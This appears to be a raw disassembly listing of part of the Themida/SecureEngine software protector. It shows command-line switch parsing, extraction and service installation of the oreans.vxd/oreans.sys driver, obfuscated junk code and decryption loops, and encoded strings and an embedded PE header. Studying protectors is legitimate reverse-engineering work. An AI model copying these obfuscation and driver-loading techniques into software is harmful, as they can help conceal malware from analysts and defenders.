aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 2F000000h, 63656863h, 6F72706Bh, 74636574h, 6E6F69h
		dd 0
; ---------------------------------------------------------------------------


loc_5B49F0:				; CODE XREF: Themida_:005B4952j
		cmp	dword ptr [ebp+7D3E399h], 0
		jz	loc_5B4A07
		mov	dword ptr [ebp+7D12849h], 1


loc_5B4A07:				; CODE XREF: Themida_:005B49F7j
		mov	byte ptr [ebp+7D131B5h], 47h
		push	9A56F4B5h
		xor	dword ptr [esp], 0A3B9838h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B4A57
		inc	edi
		mov	al, 22h


loc_5B4A38:				; CODE XREF: Themida_:005B4A39j
		scasb
		jnz	loc_5B4A38
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------


loc_5B4A57:				; CODE XREF: Themida_:005B4A2Fj
					; Themida_:005B4A70j
		cmp	byte ptr [edi],	0
		jz	loc_5B4D63
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4A6F
		inc	edi
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------


loc_5B4A6F:				; CODE XREF: Themida_:005B4A63j
		inc	edi
		jmp	loc_5B4A57
; ---------------------------------------------------------------------------


loc_5B4A75:				; CODE XREF: Themida_:005B4A52j
					; Themida_:005B4A6Aj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B4A83
		jmp	loc_5B4D63
; ---------------------------------------------------------------------------


loc_5B4A83:				; CODE XREF: Themida_:005B4A78j
		jmp	loc_5B4A89
; ---------------------------------------------------------------------------


loc_5B4A88:				; CODE XREF: Themida_:005B4A8Cj
		inc	edi


loc_5B4A89:				; CODE XREF: Themida_:loc_5B4A83j
		cmp	byte ptr [edi],	20h
		jz	loc_5B4A88
		cmp	byte ptr [edi],	0
		jnz	loc_5B4AA0
		jmp	loc_5B4D63
; ---------------------------------------------------------------------------


loc_5B4AA0:				; CODE XREF: Themida_:005B4A95j
		call	sub_5B4AAF
		jmp	loc_5B4A75
; ---------------------------------------------------------------------------
		jmp	loc_5B4D63

; =============== S U B	R O U T	I N E =======================================



sub_5B4AAF	proc near		; CODE XREF: Themida_:loc_5B4AA0p
		lea	esi, [ebp+7D3E319h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4AD8
		mov	dword ptr [ebp+7D13405h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4AD8:				; CODE XREF: sub_5B4AAF+18j
		lea	esi, [ebp+7D3E324h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B01
		mov	dword ptr [ebp+7D12849h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B01:				; CODE XREF: sub_5B4AAF+41j
		lea	esi, [ebp+7D3E39Dh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B2A
		mov	dword ptr [ebp+7D11569h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B2A:				; CODE XREF: sub_5B4AAF+6Aj
		lea	esi, [ebp+7D3E32Eh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B53
		mov	dword ptr [ebp+7D12849h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B53:				; CODE XREF: sub_5B4AAF+93j
		lea	esi, [ebp+7D3E338h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4B86
		mov	dword ptr [ebp+7D12849h], 1
		mov	dword ptr [ebp+7D13405h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4B86:				; CODE XREF: sub_5B4AAF+BCj
		lea	esi, [ebp+7D3E346h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BAE
		mov	dword ptr [ebp+7D11139h], 1


loc_5B4BAE:				; CODE XREF: sub_5B4AAF+EFj
		lea	esi, [ebp+7D3E350h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BD6
		mov	dword ptr [ebp+7D11139h], 1


loc_5B4BD6:				; CODE XREF: sub_5B4AAF+117j
		lea	esi, [ebp+7D3E35Bh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4BFE
		mov	dword ptr [ebp+7D12959h], 1


loc_5B4BFE:				; CODE XREF: sub_5B4AAF+13Fj
		lea	esi, [ebp+7D3E361h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C26
		mov	dword ptr [ebp+7D13445h], 1


loc_5B4C26:				; CODE XREF: sub_5B4AAF+167j
		lea	esi, [ebp+7D3E367h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C4E
		mov	dword ptr [ebp+7D11425h], 1


loc_5B4C4E:				; CODE XREF: sub_5B4AAF+18Fj
		lea	esi, [ebp+7D3E375h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C76
		mov	dword ptr [ebp+7D128E5h], 1


loc_5B4C76:				; CODE XREF: sub_5B4AAF+1B7j
		lea	esi, [ebp+7D3E382h]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4C9E
		mov	dword ptr [ebp+7D12EC5h], 1


loc_5B4C9E:				; CODE XREF: sub_5B4AAF+1DFj
		lea	esi, [ebp+7D3E38Dh]
		call	sub_5B4CDF
		add	edi, [ebp+7D3E3AEh]
		cmp	dword ptr [ebp+7D3E3AEh], 0
		jz	loc_5B4CC6
		mov	dword ptr [ebp+7D124B5h], 1


loc_5B4CC6:				; CODE XREF: sub_5B4AAF+207j
		jmp	loc_5B4CCC
; ---------------------------------------------------------------------------


loc_5B4CCB:				; CODE XREF: sub_5B4AAF+229j
		inc	edi


loc_5B4CCC:				; CODE XREF: sub_5B4AAF:loc_5B4CC6j
		cmp	byte ptr [edi],	20h
		jz	locret_5B4CDE
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CCB

locret_5B4CDE:				; CODE XREF: sub_5B4AAF+220j
		retn
sub_5B4AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B4CDF	proc near		; CODE XREF: sub_5B4AAF+6p
					; sub_5B4AAF+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B4D08
; ---------------------------------------------------------------------------


loc_5B4CEC:				; CODE XREF: sub_5B4CDF+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CFA
		mov	ecx, 0


loc_5B4CFA:				; CODE XREF: sub_5B4CDF+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B4D06
		sub	ecx, ecx


loc_5B4D06:				; CODE XREF: sub_5B4CDF+1Fj
		inc	esi
		inc	edi


loc_5B4D08:				; CODE XREF: sub_5B4CDF+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B4D19
		or	ecx, ecx
		jnz	loc_5B4CEC


loc_5B4D19:				; CODE XREF: sub_5B4CDF+2Cj
		or	ecx, ecx
		jz	loc_5B4D42
		cmp	byte ptr [edi],	0
		jz	loc_5B4D33
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4D3D


loc_5B4D33:				; CODE XREF: sub_5B4CDF+45j
		mov	ecx, 1
		jmp	loc_5B4D42
; ---------------------------------------------------------------------------


loc_5B4D3D:				; CODE XREF: sub_5B4CDF+4Ej
		mov	ecx, 0


loc_5B4D42:				; CODE XREF: sub_5B4CDF+3Cj
					; sub_5B4CDF+59j
		or	ecx, ecx
		jz	loc_5B4D57
		sub	esi, ebx
		mov	[ebp+7D3E3AEh],	esi
		jmp	loc_5B4D61
; ---------------------------------------------------------------------------


loc_5B4D57:				; CODE XREF: sub_5B4CDF+65j
		mov	dword ptr [ebp+7D3E3AEh], 0


loc_5B4D61:				; CODE XREF: sub_5B4CDF+73j
		popa
		retn
sub_5B4CDF	endp

; ---------------------------------------------------------------------------


loc_5B4D63:				; CODE XREF: Themida_:005B4A42j
					; Themida_:005B4A4Cj ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B4D7A
		mov	dword ptr [ebp+7D11139h], 0


loc_5B4D7A:				; CODE XREF: Themida_:005B4D6Aj
		mov	ecx, eax
		jmp	loc_5B4F8F
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 4
		dd 67h dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B4F8F:				; CODE XREF: Themida_:005B4D7Cj
		jmp	loc_5B5083
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7D131B5h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		push	104h
		lea	ebx, [ebp+7D10299h]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+7D3E93Bh]
		mov	edi, esi
		xor	al, al


loc_5B4FC7:				; CODE XREF: Themida_:005B4FC8j
		scasb
		jnz	loc_5B4FC7
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+7D131B5h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		lea	esi, [ebp+7D10299h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+7D131B5h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		lea	edi, [ebp+7D1194Dh]
		lea	ecx, [ebp+7D3EA61h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5B5065
		lea	esi, [ebp+7D3E743h]
		lea	eax, [ebp+7D3D40Fh]
		call	eax
		lea	ecx, [ebp+7D170C4h]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5B5065:				; CODE XREF: Themida_:005B5044j
		mov	byte ptr [ebp+7D131B5h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+7D11CC9h]
		lea	eax, [ebp+7D13B01h]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5B5083:				; CODE XREF: Themida_:loc_5B4F8Fj
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B509A
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B509A:				; CODE XREF: Themida_:005B5093j
		jmp	loc_5B886F
; ---------------------------------------------------------------------------
		db 4Dh
		dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B887B


loc_5B8837:				; CODE XREF: sub_5B887B+13j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_5B887B
; ---------------------------------------------------------------------------
		cmp	dword ptr [esi+0Ch], 0
		jnz	short loc_5B8844
		xor	eax, eax
		jmp	short locret_5B885E
; ---------------------------------------------------------------------------


loc_5B8844:				; CODE XREF: Themida_:005B883Ej
		cmp	dword ptr [esi+0Ch], 1
		jnz	short locret_5B885E
		lea	eax, large ds:0
		mov	edi, [esi+18h]
		mov	[edi], eax
		mov	dword ptr [esi+20h], 4
		xor	eax, eax

locret_5B885E:				; CODE XREF: Themida_:005B8842j
					; Themida_:005B8848j
		retn
; ---------------------------------------------------------------------------
		db 0Ch
aXprotvxd_ddb	db 'XPROTVXD_DDB',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B886F:				; CODE XREF: Themida_:loc_5B509Aj
		call	sub_5B887B
		das
		adc	ah, [eax+1EBBDC62h]

; =============== S U B	R O U T	I N E =======================================



sub_5B887B	proc near		; CODE XREF: Themida_:loc_5B886Fp

; FUNCTION CHUNK AT 005B8837 SIZE 00000003 BYTES

		mov	edx, edi
		pop	edi
		jmp	loc_5B8892
; ---------------------------------------------------------------------------
		lahf
		icebp
		sbb	al, 1Eh
		imul	eax, [ecx-3E2D8FC3h], 4Eh
		jmp	short loc_5B8837
; ---------------------------------------------------------------------------
		db 0A7h, 23h
; ---------------------------------------------------------------------------


loc_5B8892:				; CODE XREF: sub_5B887B+3j
		add	edi, 609Fh
		mov	bx, 2903h
		mov	ecx, 17FAh
		mov	bh, 0C6h


loc_5B88A3:				; CODE XREF: sub_5B88ED+37j
		mov	eax, [edi]
		mov	edx, [ebp+7D1135Dh]
		add	eax, 78CE2AA1h
		adc	bx, 0A460h
		xor	eax, 623DBAC6h
		call	near ptr loc_5B88CE+2
		movsd
		in	al, 21h		; Interrupt controller,	8259A.
		push	0FFFFFF90h
		xor	eax, 0E92941C6h


loc_5B88CB:				; CODE XREF: sub_5B88ED+1Bj
		or	esi, [ecx]
		push	ds


loc_5B88CE:				; CODE XREF: sub_5B887B+41p
		shl	word ptr [eax+29h], 0BDh
sub_5B887B	endp ; sp-analysis failed

		push	ecx
		sub	dl, cl
		pop	es
		call	sub_5B88ED
		test	eax, 53C6D74Fh
		xor	[ecx], al
		dec	edx
		dec	ebp
		push	edx
		out	dx, al
		xor	[edx-0AD9B46h],	dl

; =============== S U B	R O U T	I N E =======================================



sub_5B88ED	proc near		; CODE XREF: Themida_:005B88D7p
		pop	ebx
		popa
		pop	edx
		add	eax, 7EBBE75h
		mov	edx, [ebp+7D10C59h]
		push	eax
		mov	dx, 4E1Eh
		pop	dword ptr [edi]
		jmp	loc_5B8910
; ---------------------------------------------------------------------------
		ja	short loc_5B88CB
		cmp	[edi+67h], esi
		sub	esi, [ebx+73h]


loc_5B8910:				; CODE XREF: sub_5B88ED+16j
		sub	edi, 6BABA291h
		and	ebx, 39F189Ah
		add	edi, 6BABA28Dh
		cmc
		dec	ecx
		jnz	loc_5B88A3
		mov	edx, 2D88521Ch
		jmp	loc_5B99EB
; ---------------------------------------------------------------------------
		dd 41564441h, 32334950h, 4C4C442Eh, 65704F00h, 4D43536Eh
		dd 67616E61h, 417265h, 61657243h, 65536574h, 63697672h
		dd 53004165h, 74726174h, 76726553h, 41656369h, 74654700h
		dd 6974614Eh, 79536576h, 6D657473h, 6F666E49h, 65704F00h
		dd 7265536Eh, 65636976h, 65440041h, 6574656Ch, 76726553h
		dd 656369h, 736F6C43h, 72655365h, 65636976h, 646E6148h
		dd 4300656Ch, 72746E6Fh, 65536C6Fh, 63697672h, 65h, 7 dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
		dd 5C2E5C5Ch, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpriv	db 'SeShutdownPrivilege',0
		align 8
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseserviceha	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 72655300h,	65636976h
		dd 63615020h, 32206Bh, 1Dh dup(0)
		dd 666F5300h, 72617774h, 69575C65h
		db 6Eh,	65h, 0
; ---------------------------------------------------------------------------


loc_5B99EB:				; CODE XREF: sub_5B88ED+42j
		mov	eax, esp
		push	0
		push	ecx
		call	sub_5B99F8
		and	[ecx-3Dh], bl
sub_5B88ED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B99F8	proc near		; CODE XREF: sub_5B88ED+1103p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B99F8	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		mov	edi, [ebp+7D11831h]
		mov	[ebp+7D11609h],	eax
		sub	[ebp+7D11461h],	ebx
		mov	[ebp+7D121BDh],	esi
		mov	eax, eax
		jz	loc_5B9A31
		push	edx
		xor	[ebp+7D11F55h],	eax
		pop	edi


loc_5B9A31:				; CODE XREF: Themida_:005B9A23j
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9A43
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9A5C


loc_5B9A43:				; CODE XREF: Themida_:005B9A38j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9A5C:				; CODE XREF: Themida_:005B9A41j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9A7C
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9A7C:				; CODE XREF: Themida_:005B9A63j
		call	near ptr loc_5B9A83+3
		cmp	[ecx], bh


loc_5B9A83:				; CODE XREF: Themida_:loc_5B9A7Cp
		push	59FC8A7Dh
		mov	cx, si
		mov	edi, [ebp+7D11FEDh]
		mov	eax, eax
		sub	[ebp+7D10C39h],	ecx
		mov	[ebp+7D11BC1h],	ebx
		mov	eax, eax
		and	edi, [ebp+7D11115h]
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9AB9
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9ACC


loc_5B9AB9:				; CODE XREF: Themida_:005B9AAEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3E052h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9ACC:				; CODE XREF: Themida_:005B9AB7j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9AE6
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DF03h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9AE6:				; CODE XREF: Themida_:005B9AD3j
		mov	dl, ah
		call	near ptr loc_5B9AEF+4
		db	3Eh
		popa


loc_5B9AEF:				; CODE XREF: Themida_:005B9AE8p
		and	eax, 0FB28027h
		mov	bh, 0D3h
		pop	ecx
		mov	eax, eax
		pusha
		jo	loc_5B9B0A
		jmp	loc_5B9B0A
; ---------------------------------------------------------------------------
		db 80h,	0A5h, 82h
		db 23h,	0B9h
; ---------------------------------------------------------------------------


loc_5B9B0A:				; CODE XREF: Themida_:005B9AFAj
					; Themida_:005B9B00j
		popa
		mov	eax, eax
		add	edx, 7D8BC154h
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9B25
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9B38


loc_5B9B25:				; CODE XREF: Themida_:005B9B1Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DF84h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9B38:				; CODE XREF: Themida_:005B9B23j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9B52
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DED1h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9B52:				; CODE XREF: Themida_:005B9B3Fj
		sbb	edi, 3969269Fh
		push	0
		push	ecx
		call	sub_5B9B63
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9B63	proc near		; CODE XREF: Themida_:005B9B5Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B9B63	endp

; ---------------------------------------------------------------------------
		mov	ds:0C2D7DB87h, eax
		aam	0CEh
		jmp	loc_5B9B8C
; ---------------------------------------------------------------------------
		db 67h
		dd 0F7D77642h, 270B4792h, 0C7AAB656h
; ---------------------------------------------------------------------------


loc_5B9B8C:				; CODE XREF: Themida_:005B9B7Aj
		jz	loc_5B9B9D
		pusha
		and	dh, 0CFh
		mov	ecx, [ebp+7D10C5Dh]
		popa


loc_5B9B9D:				; CODE XREF: Themida_:loc_5B9B8Cj
		mov	eax, eax
		mov	ecx, [ebp+7D1289Dh]
		mov	eax, eax
		sub	[ebp+7D121A9h],	edi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9BBF
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9BD2


loc_5B9BBF:				; CODE XREF: Themida_:005B9BB4j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DFEBh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9BD2:				; CODE XREF: Themida_:005B9BBDj
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9BEC
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7D3DEEAh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9BEC:				; CODE XREF: Themida_:005B9BD9j
		mov	di, si
		mov	cx, 464Bh
		mov	eax, eax
		jge	loc_5B9C01
		sub	[ebp+7D105CDh],	edx


loc_5B9C01:				; CODE XREF: Themida_:005B9BF5j
		or	[ebp+7D11021h],	edi
		mov	eax, eax
		mov	ecx, esi
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9C1D
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C30


loc_5B9C1D:				; CODE XREF: Themida_:005B9C12j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7D3DF1Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9C30:				; CODE XREF: Themida_:005B9C1Bj
		mov	di, 7CE8h
		mov	[ebp+7D133E1h],	ecx
		mov	eax, eax
		sub	[ebp+7D11B95h],	ebx
		mov	eax, eax
		sbb	cx, 8054h
		cmp	dword ptr [ebp+7D13405h], 0
		jnz	short loc_5B9C5B
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C74


loc_5B9C5B:				; CODE XREF: Themida_:005B9C50j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3E1B0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9C74:				; CODE XREF: Themida_:005B9C59j
		cmp	dword ptr [ebp+7D12849h], 0
		jz	short loc_5B9C94
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+7D113D5h],	eax
		lea	ebx, [ebp+7D3DE9Fh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B9C94:				; CODE XREF: Themida_:005B9C7Bj
		push	edx
		jmp	loc_5B9CA7
; ---------------------------------------------------------------------------
		dw 63BDh
		dd 0AD96F7BBh, 0F97C550Bh
		db 0EEh, 4Dh, 2Eh
; ---------------------------------------------------------------------------


loc_5B9CA7:				; CODE XREF: Themida_:005B9C95j
		pop	edx
		movsx	edx, di
		mov	edi, [ebp+7D131F5h]
		mov	eax, eax
		push	0
		push	edi
		call	sub_5B9CBE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9CBE	proc near		; CODE XREF: Themida_:005B9CB6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B9CBE	endp

; ---------------------------------------------------------------------------
		dw 9ABCh
		dd 2DED109Bh, 6820F9Eh,	1000000h, 0D101C985h, 198D2307h
		dd 0C607D133h, 0D131B585h, 14E95307h, 0
		dd 9A66995Bh, 0DA073A8Dh, 7436998Bh, 0E44F20B7h, 68F14443h
		dd 99395F90h, 30B1BD03h, 0B5FF07D1h, 7D11CC9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 98C35242h, 3BF84F84h
		dd 1858D45h, 6A07D13Bh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 198DC350h, 0FFA73326h
		dd 409266E1h, 0F832BA66h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 534C22C3h, 1858916h
		dd 0F907D118h, 31B585C6h, 0BA5707D1h, 6AB8D0F6h, 4520668h
		dd 0BAC78190h, 0FF732E67h, 0D11CC9B5h, 0AC47B907h, 858D1680h
